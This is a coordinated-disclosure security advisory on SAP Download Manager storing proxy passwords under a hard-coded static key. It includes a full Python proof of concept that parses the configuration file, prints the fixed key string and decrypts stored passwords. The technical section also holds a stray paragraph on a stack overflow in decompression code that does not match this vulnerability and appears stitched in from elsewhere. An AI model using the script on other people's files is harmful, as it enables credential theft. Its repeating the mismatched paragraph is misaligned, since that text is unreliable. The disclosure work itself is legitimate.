1. Advisory Information

Title: SAP Download Manager Password Weak Encryption
Advisory ID: CORE-2016-0004
Advisory URL: http://www.coresecurity.com/advisories/sap-download-manager-password-weak-encryption
Date published: 2016-03-08
Date of last update: 2016-03-07
Vendors contacted: SAP
Release mode: Coordinated release

2. Vulnerability Information

Class: Storing Passwords in a Recoverable Format [CWE-257]
Impact: Information leak
Remotely Exploitable: No
Locally Exploitable: Yes
CVE Name: CVE-pending-assignment

 

3. Vulnerability Description

SAP Download Manager [1] is a Java application offered by SAP that allows downloading software packages and support notes. This program stores the user's settings in a configuration file. Sensitive values, such as the proxy username and password if set, are stored encrypted using a fixed static key.

4. Vulnerable Packages

SAP Download Manager version up to 2.1.142 (released in October 2015)
Other products and versions might be affected, but they were not tested.

5. Vendor Information, Solutions and Workarounds

SAP published the following Security Note:

2282338
It can be accessed by SAP clients in their Support Portal [4].

An updated version of SAP Download Manager can be found in their website [1].

6. Credits

This vulnerability was discovered and researched by Martin Gallo from Core Security Consulting Services. The publication of this advisory was coordinated by Joaquín Rodríguez Varela from Core Advisories Team.

 

7. Technical Description / Proof of Concept Code

SAP Download Manager is a Java application offered by SAP that allows downloading software packages and support notes. This program stores the user's settings in a configuration file. Configuration settings are stored in a Java HashMap object, which is serialized using Java's standard mechanism before being read from the configuration file. The program implemented encrypted storage of sensitive values since version 2.1.140a (see SAP Security Note 2074276 [2]). User's SAP Marketplace password is not stored in the configuration file since version 2.1.142 (see SAP Security Note 2235412 [3]). However, other sensitive values, such as the user's proxy password are stored encrypted.

Encryption is performed using a different mechanism according to the platform where the program is run:

On Windows and MacOS systems, the key is composed by the computer's BIOS serial number concatenated with a fixed key hard-coded in the program's code, up to 16 bytes.
On other platforms, such as Linux, the key is only composed by a fixed key hard-coded in the program's code.
Additionally, a transformation is performed over the value to encrypt. The code that handles the encryption/decryption it's inside the program's "StringWrapper" class.

An attacker who manages to get access to a user's configuration file might be able to obtain the stored proxy password.

The following python script can be used as a proof of concept for retrieving the stored values from a configuration file:

 
#!/usr/bin/env python
# ===========
# pysap - Python library for crafting SAP's network protocols packets
#
# Copyright (C) 2012-2016 by Martin Gallo, Core Security
#
# The library was designed and developed by Martin Gallo from the Security
# Consulting Services team of Core Security.
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
# ==============

# Standard imports
from sys import platform
from struct import pack, unpack
from optparse import OptionParser
from subprocess import check_output
# pyCrypto import
try:
    from Crypto.Cipher import AES
except ImportError:
    AES = None


# Java serialization decoding. Taken from http://stackoverflow.com/a/16470856
def parse_java(f):
    h = lambda s: ' '.join('%.2X' % ord(x) for x in s)  # format as hex
    p = lambda s: sum(ord(x)*256**i for i, x in enumerate(reversed(s)))  # parse integer
    magic = f.read(2)
    assert magic == '\xAC\xED', h(magic)  # STREAM_MAGIC
    assert p(f.read(2)) == 5  # STREAM_VERSION
    handles = []

    def parse_obj():
        b = f.read(1)
        if not b:
            raise StopIteration  # not necessarily the best thing to throw here.
        if b == '\x70':  # p TC_NULL
            return None
        elif b == '\x71':  # q TC_REFERENCE
            handle = p(f.read(4)) - 0x7E0000  # baseWireHandle
            o = handles[handle]
            return o[1]
        elif b == '\x74': # t TC_STRING
            string = f.read(p(f.read(2))).decode('utf-8')
            handles.append(('TC_STRING', string))
            return string
        elif b == '\x75': # u TC_ARRAY
            data = []
            cls = parse_obj()
            size = p(f.read(4))
            handles.append(('TC_ARRAY', data))
            assert cls['_name'] in ('[B', '[I'), cls['_name']
            for x in range(size):
                data.append(f.read({'[B': 1, '[I': 4}[cls['_name']]))
            return data
        elif b == '\x7E': # ~ TC_ENUM
            enum = {}
            enum['_cls'] = parse_obj()
            handles.append(('TC_ENUM', enum))
            enum['_name'] = parse_obj()
            return enum
        elif b == '\x72': # r TC_CLASSDESC
            cls = {'fields': []}
            full_name = f.read(p(f.read(2)))
            cls['_name'] = full_name.split('.')[-1] # i don't care about full path
            f.read(8) # uid
            cls['flags'] = f.read(1)
            handles.append(('TC_CLASSDESC', cls))
            assert cls['flags'] in ('\2', '\3', '\x0C', '\x12'), h(cls['flags'])
            b = f.read(2)
            for i in range(p(b)):
                typ = f.read(1)
                name = f.read(p(f.read(2)))
                fcls = parse_obj() if typ in 'L[' else ''
                cls['fields'].append((name, typ, fcls.split('/')[-1])) # don't care about full path
            b = f.read(1)
            assert b == '\x78', h(b)
            cls['parent'] = parse_obj()
            return cls
        # TC_OBJECT
        assert b == '\x73', (h(b), h(f.read(4)), repr(f.read(50)))
        obj = {}
        obj['_cls'] = parse_obj()
        obj['_name'] = obj['_cls']['_name']
        handle = len(handles)
        parents = [obj['_cls']]
        while parents[0]['parent']:
            parents.insert(0, parents[0]['parent'])
        handles.append(('TC_OBJECT', obj))
        for cls in parents:
            for name, typ, fcls in cls['fields'] if cls['flags'] in ('\2', '\3') else []:
                if typ == 'I': # Integer
                    obj[name] = p(f.read(4))
                elif typ == 'S': # Short
                    obj[name] = p(f.read(2))
                elif typ == 'J': # Long
                    obj[name] = p(f.read(8))
                elif typ == 'Z': # Bool
                    b = f.read(1)
                    assert p(b) in (0, 1)
                    obj[name] = bool(p(b))
                elif typ == 'F': # Float
                    obj[name] = h(f.read(4))
                elif typ in 'BC': # Byte, Char
                    obj[name] = f.read(1)
                elif typ in 'L[': # Object, Array
                    obj[name] = parse_obj()
                else: # Unknown
                    assert False, (name, typ, fcls)
            if cls['flags'] in ('\3', '\x0C'): # SC_WRITE_METHOD, SC_BLOCKDATA
                b = f.read(1)
                if b == '\x77': # see the readObject / writeObject methods
                    block = f.read(p(f.read(1)))
                    if cls['_name'].endswith('HashMap') or cls['_name'].endswith('Hashtable'):
                        # http://javasourcecode.org/html/open-source/jdk/jdk-6u23/java/util/HashMap.java.html
                        # http://javasourcecode.org/html/open-source/jdk/jdk-6u23/java/util/Hashtable.java.html
                        assert len(block) == 8, h(block)
                        size = p(block[4:])
                        obj['data'] = [] # python doesn't allow dicts as keys
                        for i in range(size):
                            k = parse_obj()
                            v = parse_obj()
                            obj['data'].append((k, v))
                        try:
                            obj['data'] = dict(obj['data'])
                        except TypeError:
                            pass # non hashable keys
                    elif cls['_name'].endswith('HashSet'):
                        # http://javasourcecode.org/html/open-source/jdk/jdk-6u23/java/util/HashSet.java.html
                        assert len(block) == 12, h(block)
                        size = p(block[-4:])
                        obj['data'] = []
                        for i in range(size):
                            obj['data'].append(parse_obj())
                    elif cls['_name'].endswith('ArrayList'):
                        # http://javasourcecode.org/html/open-source/jdk/jdk-6u23/java/util/ArrayList.java.html
                        assert len(block) == 4, h(block)
                        obj['data'] = []
                        for i in range(obj['size']):
                            obj['data'].append(parse_obj())
                    else:
                        assert False, cls['_name']
                    b = f.read(1)
                assert b == '\x78', h(b) + ' ' + repr(f.read(30)) # TC_ENDBLOCKDATA
        handles[handle] = ('py', obj)
        return obj
    objs = []
    while 1:
        try:
            objs.append(parse_obj())
        except StopIteration:
            return objs


def parse_config_file(filename, decrypt=False, serial_number=None):
    print("[*] Opening DLManager config file: %s" % filename)

    try:
        with open(filename, 'r') as fil:
            data = parse_java(fil)[0]["data"]
    except:
        print("[-] Error reading configuration file or invalid file")
        return

    print("[*] Read %d config values from config file" % len(data))
    for item in data:
        value = ""
        if isinstance(data[item], basestring):
            value = data[item]
        elif "value" in data[item]:
            value = data[item]["value"]
        elif "_name" in data[item] and data[item]["_name"] == "StringWrapper":
            value = data[item]["maBuffer"]
            if value:
                value = unwrap(value, decrypt, serial_number)
        print("[*] Key=%s, Value=%s" % (item, value))


def build_key(serial_number):
    key = "hgjZ@Fk*0!N%0Un*"
    if serial_number:
        key = serial_number + key
    return key[:16]


def decrypt(cipher_text, key):
    aes = AES.new(key, AES.MODE_CBC, "\x00" * 16)       # Build the cipher using an empty IV
    plain_text = aes.decrypt(cipher_text)               # Decrypt
    plain_text = plain_text[0:-ord(plain_text[-1])]     # Unpad the plain text
    return plain_text


def unwrap(value, encrypted=False, serial_number=None):
    pos = len(value)
    unwrapped = []
    for i in range(len(value)):
        pos -= 1
        (item, ) = unpack(">i", value[pos])             # Unpack the int value
        item = item - 50 + pos                          # Apply the transformation
        (item, ) = unpack(">b", pack(">i", item)[3:])   # Pack as int and drop first 3 bytes
        unwrapped.append(item)

    if encrypted:
        cipher_text = b"".join([pack(">b", x) for x in unwrapped])
        key = build_key(serial_number)
        print("[*] Decrypt using key: %s" % key)
        unwrapped = decrypt(cipher_text, key)
        if len(unwrapped) == 0:
            print("[-] Decryption failed. Maybe used a wrong serial number?")

    else:
        try:
            unwrapped = b"".join(map(chr, unwrapped))
        except ValueError:
            print("[-] Invalid stored value. Maybe it's encrypted?")
            unwrapped = None

    return unwrapped


def retrieve_serial_number():
    if platform.startswith("linux"):
        return ""
    elif platform.startswith("win"):
        output = check_output(["wmic", "bios", "get", "serialnumber"])
        output = output.strip().split("\n")[1]
        return output
    elif platform.startswith("darwin"):
        raise NotImplemented


# Main function
def main():
    # Parse command line options
    description = \
    """This example script extract SAP's Download Manager stored passwords.
    """

    usage = "Usage: %prog [options] -f <config filename>"

    parser = OptionParser(usage=usage, description=description)

    parser.add_option("-f", "--filename", dest="filename", help="DLManager config filename", metavar="FILE")
    parser.add_option("-e", "--encrypted", dest="encrypted", help="If passwords are stored encrypted (version >= 2.1.140a)",
                      action="store_true")
    parser.add_option("-s", "--serial-number", dest="serial_number", help="The machine's BIOS serial number")
    parser.add_option("-r", "--retrieve-serial-number", dest="retrieve", help="If the script should try to retrieve the "
                      "serial number from the machine and use it for decryption", action="store_true")
    (options, args) = parser.parse_args()

    if not options.filename:
        parser.error("[-] DLManager config filename required !")

    if options.retrieve:
        print("[*] Trying to retrieve the machine's serial number")
        options.serial_number = retrieve_serial_number()
        options.encrypted = True
        print("[*] Retrieved serial number: %s" % options.serial_number)

    if options.encrypted and AES is None:
        parser.error("[-] pyCrypto library required to decrypt not found !")

    parse_config_file(options.filename, options.encrypted, options.serial_number)


if __name__ == "__main__":
    main()
Note that the "code" variable contains an attacker controlled value, resulting in a stack overflow if the value is greater than 256 and the value for that code in the prefix table is also greater than 256. It's possible to fill in the stack with arbitrary values by controlling the values stored in the prefix and suffix tables.

It's also worth mentioning that the above code includes a macro for performing some bounds checks on the stack pointer ("OVERFLOW_CHECK"). However, the check implemented by this macro is not sufficient for avoiding this vulnerability and could also lead to fault conditions when decompressing valid buffers. Moreover, vulnerable products and programs were built without this macro enabled ("CS_STACK_CHECK" macro not defined at the time of compilation).

 

8. Report Timeline

2016-02-05: Core Security sent an initial notification to SAP.
2016-02-09: SAP confirmed reception of our email and requested we sent them a draft version of the advisory.
2016-02-10: Core Security sent SAP a draft version of the advisory. We reminded them the release of the advisory would be the 7th of March unless they had any difficulties meeting that date.
2016-02-11: SAP confirmed the reception of the advisory and created the security incident "90588 2016". They stated that March 7th was too short of a notice to work on the fix, release fix after quality tests and for customers to consume it.
2016-02-15: SAP informed Core Security their development team confirmed the vulnerability. They requested us to comment on their timeline request.
2016-02-15: Core Security informed SAP that we understood that they have their own guidelines for vulnerability disclosure and that we could coordinate for a later date for the release of the advisory but once the fix was made public we had to do the same with the advisory.
2016-02-26: SAP informed Core Security they were currently working on a fix. They stated the target patch day would be 8 of March, 2016. They asked who should be noted as credit recipient.
2016-02-26: Core Security informed SAP that was our goal to achieve a coordinated release, therefore, we would publish our advisory once the fix was available. Regarding crediting, we informed them Martin Gallo should be noted as credit recipient.
2016-03-02: SAP informed Core Security they were on track with their correction for the 8 of March. They requested if we could update the note number in our advisory for their fix to the following "2282338". They asked if we could provide less detail in section 7 'Technical Description/Proof of Concept' in order to protect their customer's systems.
2016-03-03: Core Security informed SAP that we had updated our advisory to include their security note reference. We informed them that it's our policy to publish our findings, usually in coordination with the affected vendor, with a complete technical description. We informed them as well that we believe user/customers are safer once they become aware of the potential security issues a device or software could have.
2016-03-07: SAP informed Core Security they had the final confirmation to publish the security fix the 8 of March.
2016-03-07: Core Security thanked SAP for the confirmation and requested them to update our internal ID of this vulnerability in their security note.
2016-03-08: Advisory CORE-2016-0004 published.
9. References

[1] https://support.sap.com/software/download-manager.html. 
[2] http://service.sap.com/sap/support/notes/2074276. 
[3] http://service.sap.com/sap/support/notes/2235412. 
[4] http://service.sap.com/sap/support/notes/2282338.

10. About CoreLabs

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11. About Core Security

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12. Disclaimer

The contents of this advisory are copyright (c) 2015 Core Security and (c) 2015 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/

13. PGP/GPG Keys

This advisory has been signed with the GPG key of Core Security advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc.